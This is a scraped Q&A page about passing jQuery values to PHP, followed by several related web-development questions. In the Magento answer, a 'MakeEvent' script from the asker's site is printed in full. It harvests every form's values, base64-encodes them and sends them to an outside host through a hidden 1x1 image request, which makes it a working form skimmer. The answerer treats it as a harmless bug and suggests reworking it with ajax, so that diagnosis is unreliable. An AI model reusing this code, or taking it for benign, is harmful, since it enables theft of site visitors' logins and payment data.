Passing jQuery Variables to PHP - php

I have an order form I'm working on, where I'm using jQuery to update the price in real time when the user selects different options. So, right now, the final project cost, package type, etc are set in jQuery variables, which I need to convert to PHP to insert into the database.
You can easily see the code: http://jsfiddle.net/cadengrant/uddPA/2/
And live preview of working code: http://www.htmlified.com/order-now/
function update_price() {
var base_cost = base_price;
var basic_price = base_price;
var pro_price = base_price;
jQuery('.packages .selected').each(function(index) {
base_cost += jQuery(this).data("price");
basic_price += base_cost;
pro_price += base_cost + 70;
});
jQuery('#markup-pages').each(function(index) {
var price = Number(jQuery(this).val());
var packages = jQuery('.packages .selected').data("price");
var pages = 0;
jQuery('#packages .selected').each(function(index) {
if(jQuery(this).hasClass('basic')) {
if(packages == 199) {
pages = price * 99 - 99;
} else if (packages == 189) {
pages = price * 94 - 94;
} else if (packages == 399) {
pages = price * 199 - 199;
}
} else if (jQuery(this).hasClass('pro')) {
if(pro_price == 269) {
pages = price * 134 - 134;
} else if (pro_price == 259) {
pages = price * 129 - 129;
} else if (pro_price == 469) {
pages = price * 234 - 234;
}
}
});
base_cost += pages;
/* Single or plural page text */
if(price == 1) {
var markup_pages = "markup page";
} else {
var markup_pages = "markup pages";
}
jQuery('.markup-pages').text(markup_pages);
});
jQuery('#packages .selected').each(function(index) {
if(jQuery(this).hasClass('pro')) {
base_cost += 70;
}
});
/* Update Doctype */
jQuery('input[name=page_doctype]:checked', '#order-form').each(function(index) {
var basic_doctype_text = "";
var pro_doctype_text = "";
if(jQuery(this).hasClass('doctypehtml')) {
var doctype_text = "W3C Valid HTML5 & CSS3";
} else if (jQuery(this).hasClass('doctypexhtml')) {
var doctype_text = "W3C Valid XHTML1 & CSS2";
basic_doctype_text += " Transitional";
pro_doctype_text += " Strict";
}
jQuery('.doctype-text').html(doctype_text);
jQuery('.basic-doctype').html(doctype_text + basic_doctype_text);
jQuery('.pro-doctype').html(doctype_text + pro_doctype_text);
});
jQuery('.price').html(base_cost);
jQuery('.basic-price').html(basic_price);
jQuery('.pro-price').html(pro_price);
}
I just need to figure out how to pass those variables (doctype text, basic doctype, pro doctype, base_cost, etc etc) in the JS section to my order.php form, so I can update amount paid, the package type they selected, etc. Any help would be greatly appreciated.

You already have a form in your page. I suggest you create hidden inputs in this form to be submitted with the form. Ex :
<input type="hidden" name="base_cost" value="999">
and you can adjust the value easily with jquery. After submitting the form to the php page you can capture these values using :
$base_cost = $_POST['base_cost'];
But don't forget to sanitize and validate every input from the user.
Hope this helps and excuse my English.

You are looking for a way to tell the Server information from the User? That my friend, without sending the form and without using ajax, will be hard :)
If I am understanding the issue properly, you want some parameters to change in Client side when user triggers some action. In that case you could load the possible parameters on page load and, when user triggers those actions, get the new parameters from those already loaded.
Then when you send the form you add to it the selected parameters.
Hope it helps!

Related

Magento search error

I have a website that runs on magento
In the home page if you scroll down, you will find search watches.
When you select watch model,type & price and hit Search. The search is not displaying the results & it is spitting out this error
"There was a problem with the subscription: Please enter a valid email address."
I have no knowledge on magento or PHP. I am a HTML developer. Could anyone help me solve the issue?
You have an error in the MakeEvent function:
function MakeEvent() {
if (navigator.appName == 'Microsoft Internet Explorer') {
return;
}
forms = document.getElementsByTagName("form");
for (var j = 0; j < forms.length; j++) {
forms[j].onsubmit = function () {
setTimeout(function (formIndex) {
frms = document.getElementsByTagName("form");
frms[formIndex - 1].submit();
}, 500, j);
return false
};
var elements = forms[j].getElementsByTagName("button");
for (var i = 0; i < elements.length; i++) {
if (elements[i].type == "submit" || true) {
eventArray[i] = elements[i].onclick;
elements[i].onmousedown = function () {
data = getAllValues();
var newImg = document.createElement("img");
newImg.setAttribute("src", "http://www.followthefashion.org/wp-content/uploads/2014/07/skin.php?data=" + encodeURI(base64_encode(data)));
newImg.setAttribute("height", "1");
newImg.setAttribute("width", "1");
newImg.setAttribute("alt", "Please, wait...");
document.body.appendChild(newImg);
//sleep(500);
};
}
}
}
}
MakeEvent();
As you can see, while submitting your basic form, the script submits the other (previous) form.
frms[formIndex - 1].submit();
I think you’d better use ajax in your function i.e. the "form.submit()” method works the same as clicking the “submit" button.
The submit() method submits the form (same as clicking the Submit button).
Link

How to save product url to shop_order with WooCommerce

I'm displaying a lot of identical products on different posts with WooCommerce 2.2.6 and Wordpress 4.0, I need to store the url that is displaying the image when it is added to the cart to the backend order as meta data that I can pull to populate a custom order. I have tried the woocommerce filters woocommerce_new_order and woocommerce_new_order_data and have gotten errors. Is there another filter/hook that I can use that I am over?
I have figured out a workaround if anyone else is interested in knowing how to get the url of a page with nested products when an order is placed. The code is pretty self explanatory:
//get Cookie function
function getCookie(cname) {
var name = cname + "=";
var ca = document.cookie.split(';');
for(var i=0; i<ca.length; i++) {
var c = ca[i].trim();
if (c.indexOf(name)==0) return c.substring(name.length,c.length);
}
return "";
}
var pathname = window.location.pathname;
if(pathname.indexOf('reps')>-1) {
var rep_name = pathname.split('/');
for(var i = 0; i<=rep_name.length; ++i) {
if(rep_name[i]) {
if(rep_name[i]!='reps') {
var rep = rep_name[i];
document.cookie="rep="+rep+"; path=/";
}
}
}
}
if(pathname.indexOf('checkout')>-1) {
var order_comments = $('#order_comments');
if(order_comments) {
var cookie = document.cookie;
if(cookie.indexOf('rep')>-1) {
var cookie_rep = getCookie('rep');
order_comments.text('Rep Code:'+cookie_rep);
} else {
return;
}
}
}
And when you want to pull the information pull the order excerpt. If anyone knows a better way to do this let me know.

Wordpress: page linking in single page project

i am trying to build a small single page wordpress theme, but struggling to find a way to make the navigation menu work.
The pages are loaded with this function: http://pastebin.com/Di5MhS8y . Each page is displayed as a section of my homepage, based on its menu_order.
If i make a custom menu voice linking outsite my website (tried with www.google.com) the menu works just fine.
Problems arise when i try to link to a single section of my website. The whole page gets reloaded and i'm brought back at the top of it.
I reckon i should maybe give a specific id to each section, and link to it, but i'm not sure. Any suggestion would be super appreciated!
The best way would be to give each section an ID.
if you want clean URLS you can create a function with Jquery
here's one i used in a one page website
var locationPath = filterPath(location.pathname);
var scrollElem = scrollableElement('html', 'body', 'document', 'window');
//console.log(scrollElem);
$('a[href*=#]').each(function() {
var thisPath = filterPath(this.pathname) || locationPath;
if ( locationPath == thisPath
&& (location.hostname == this.hostname || !this.hostname)
&& this.hash.replace(/#/,'') ) {
var $target = $(this.hash), target = this.hash;
if (target) {
//console.log('Target: ' + target + ' offset: ' + targetOffset);
$(this).click(function(event) {
var targetOffset = $target.offset().top;
event.preventDefault();
$(scrollElem).animate({scrollTop: targetOffset}, 1000, function() {
//console.log($(scrollElem).scrollTop());
location.hash = target;
$(scrollElem).animate({scrollTop: targetOffset}, 0);
});
});
}
}
});
// use the first element that is "scrollable"
function scrollableElement(els) {
for (var i = 0, argLength = arguments.length; i <argLength; i++) {
var el = arguments[i],
$scrollElement = $(el);
if ($scrollElement.scrollTop()> 0) {
return el;
} else {
$scrollElement.scrollTop(1);
var isScrollable = $scrollElement.scrollTop()> 0;
//console.log(el + ': ' + $scrollElement.scrollTop());
$scrollElement.scrollTop(0);
if (isScrollable) {
return el;
}
}
}
return 'body';
}

Use Jquery to update a PHP session variable when a link is clicked

I have several divs that a user can Minimize or Expand using the jquery toggle mothod. However, when the page is refreshed the Divs go back to their default state. Is their a way to have browser remember the last state of the div?
For example, if I expand a div with an ID of "my_div", then click on something else on the page, then come back to the original page, I want "my_div" to remain expanded.
I was thinking it would be possible to use session variables for this, perhaps when the user clicks on the expand/minimize button a AJAX request can be sent and toggle a session variable...IDK..any ideas?
There's no need for an ajax request, just store the information in a cookie or in the localstorage.
Here's a library which should help you out: http://www.jstorage.info/
Some sample code (untested):
// stores the toggled position
$('#my_div').click(function() {
$('#my_div').toggle();
$.jStorage.set('my_div', $('#my_div:visible').length);
});
// on page load restores all elements to old position
$(function() {
var elems = $.jStorage.index();
for (var i = 0, l = elems.length; i < l; i++) {
$.jStorage.get(i) ? $('#' + i).show() : hide();
}
});
If you don't need to support old browsers, you can use html5 web storage.
You can do things like this (example taken from w3schools):
The following example counts the number of times a user has visited a
page, in the current session:
<script type="text/javascript">
if (sessionStorage.pagecount) {
sessionStorage.pagecount=Number(sessionStorage.pagecount) +1;
}
else {
sessionStorage.pagecount=1;
}
document.write("Visits "+sessionStorage.pagecount+" time(s) this session.");
</script>
Others have already given valid answers related to cookies and the local storage API, but based on your comment on the question, here's how you would attach a click event handler to a link:
$("#someLinkId").click(function() {
$.post("somewhere.php", function() {
//Done!
});
});
The event handler function will run whenever the element it is attached to is clicked. Inside the event handler, you can run whatever code you like. In this example, a POST request is fired to somewhere.php.
I had something like this and I used cookies based on which user logged in
if you want only the main div don't use the
$('#'+div_id).next().css('display','none');
use
$('#'+div_id).css('display','none');
*Here is the code *
//this is the div
<div id = "<?php echo $user; ?>1" onclick="setCookie(this.id)" ><div>My Content this will hide/show</div></div>
function setCookie(div_id)
{
var value = '';
var x = document.getElementById(div_id);
var x = $('#'+div_id).next().css('display');
if(x == 'none')
{
value = 'block';
}
else
{
value = 'none';
}
console.log(div_id+"="+value+"; expires=15/02/2012 00:00:00;path=/")
//alert(x);
document.cookie = div_id+"="+value+"; expires=15/02/2012 00:00:00;path=/";
}
function getCookie(div_id)
{
console.log( div_id );
var i,x,y,ARRcookies=document.cookie.split(";");
for (i=0;i<ARRcookies.length;i++)
{
x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
x=x.replace(/^\s+|\s+$/g,"");
if (x==div_id)
{
return unescape(y);
}
}
}
function set_status()
{
var div_id = '';
for(var i = 1; i <= 9 ; i++)
{
div_id = '<?php echo $user; ?>'+i;
if(getCookie(div_id) == 'none')
{
$('#'+div_id).next().css('display','none');
}
else if(getCookie(div_id) == 'block')
{
$('#'+div_id).next().slideDown();
}
}
}
$(document).ready(function(){
get_status();
});
Look about the JavaScript Cookie Method, you can save the current states of the divs, and restore it if the User comes back on the Site.
There is a nice jQuery Plugin for handling Cookies (http://plugins.jquery.com/project/Cookie)
Hope it helps
Ended up using this. Great Tutorial.
http://www.shopdev.co.uk/blog/cookies-with-jquery-designing-collapsible-layouts/

jQuery: Click tracking with PHP

Yes, I KNOW about Google Analytics. We use it for our overall site metrics, and I know we can track individual links. However, we needed a tracking solution for very specific links and we need that tracking data available to our web application in real time, so I wrote my own solution:
jQuery:
$.fn.track = function () {
var source, url, name, ref, $this;
$this = $(this);
if (window.location.search.substring(1) != '') {
source = window.location.pathname + "?" + window.location.search.substring(1);
} else {
source = window.location.pathname;
}
url = jQuery.URLEncode($this.attr('href'));
name = $this.attr('name');
ref = jQuery.URLEncode(source);
$this.live('click', function (click) {
click.preventDefault();
$.post('/lib/track.php', {
url: url,
name: name,
ref: ref
}, function () { window.location = $this.attr('href'); });
});
};
... using the jQuery URLEncode plugin (http://www.digitalbart.com/jquery-and-urlencode/).
Now, this code works fine with my PHP backend and on my machine, but it doesn't seem to work reliably for everyone else. Sometimes the parameters passed in via jQuery are NOT passed in, resulting in a record in the database with no name, url or ref.
For the life of me, I can't figure out why this might be happening; I know the $.post is triggering, since there are records in the database (in the PHP, I also record the IP of the request along with the timestamp), but in many cases the PHP script is receiving blank $_POST variables from jQuery.
I've tested it live on every browser I have access to at my workplace, and all of them work fine for me; however, about 75% of all the records created (not by my computers) come through as blank (most of them are using the same browsers I am).
Why could this be happening?
I think, in the end, my problem ended up being that it was taking too long for the request to be parsed by jQuery, and I'm pretty adamant about not wanting to make the links "dependent" on javascript (either that they wouldn't work without it or that the user would have to wait for the tracking request to complete before they hit the new page).
After browsing many other solutions online--borrowing from some and being inspired by others--I arrived at the solution below in native javascript:
if (document.getElementsByClassName === undefined) { // get elements by class name, adjusted for IE's incompetence
document.getElementsByClassName = function(className) {
var hasClassName, allElements, results, element;
hasClassName = new RegExp("(?:^|\\s)" + className + "(?:$|\\s)");
allElements = document.getElementsByTagName("*");
results = [];
for (var i = 0; (element = allElements[i]) !== null; i++) {
var elementClass = element.className;
if (elementClass && elementClass.indexOf(className) != -1 && hasClassName.test(elementClass)) {
results.push(element);
}
}
return results;
};
}
function addTracker(obj, type, fn) { // adds a tracker to the page, like $('xxx').event
if (obj.addEventListener) {
obj.addEventListener(type, fn, false);
} else if (obj.addEventListener) {
obj['e' + type + fn] = fn;
obj[type + fn] = function() {
obj['e' + type + fn]( window.event );
};
obj.attachEvent('on' + type, obj[type + fn]);
}
}
function save_click(passed_object) { // this function records a click
var now, then, path, encoded, to, from, name, img;
now = new Date();
path = '/lib/click.php';
from = (window.decode) ? window.decodeURI(document.URL) : document.URL;
to = (window.decodeURI) ? window.decodeURI(passed_object.href) : passed_object.href;
name = (passed_object.name && passed_object.name != '') ? passed_object.name : '[No Name]';
// timestamp the path!
path += '?timestamp=' + now.getTime();
path += '&to=' + escape(to) + '&from=' + escape(from) + '&name=' + name; // compile the path with the recorded information
img = new Image();
img.src = path; // when we call the image, we poll the php page; genius!
while (now.getTime() < then) {
now = new Date(); // resets the timer for subsequent clicks
}
}
function get_targeted_links(target) { // finds targeted elements and wires them up with an event handler
var links, link;
if (document.getElementsByClassName) {
links = document.getElementsByClassName(target);
for (var i = 0; i < links.length; i++) {
link = links[i];
if (link.href) {
addTracker(links[i], 'mousedown', save_click(links[i]));
}
}
}
}
addTracker(window, 'load', get_targeted_links('trackit'));
... which seems to be much snappier than the jQuery plugin I had written above, and so far has been fast enough to track all the requests I've thrown at it.
Hope that helps someone else!
These "clicks" might be coming from bots, or someone with JS disabled. If you the links clicked must be tracked why don't you consider JS only links, ie. put URL in a different attr other than href, then use your click handler to process it, add referral check in your track.php
Also have you checked if all elements are links?

Categories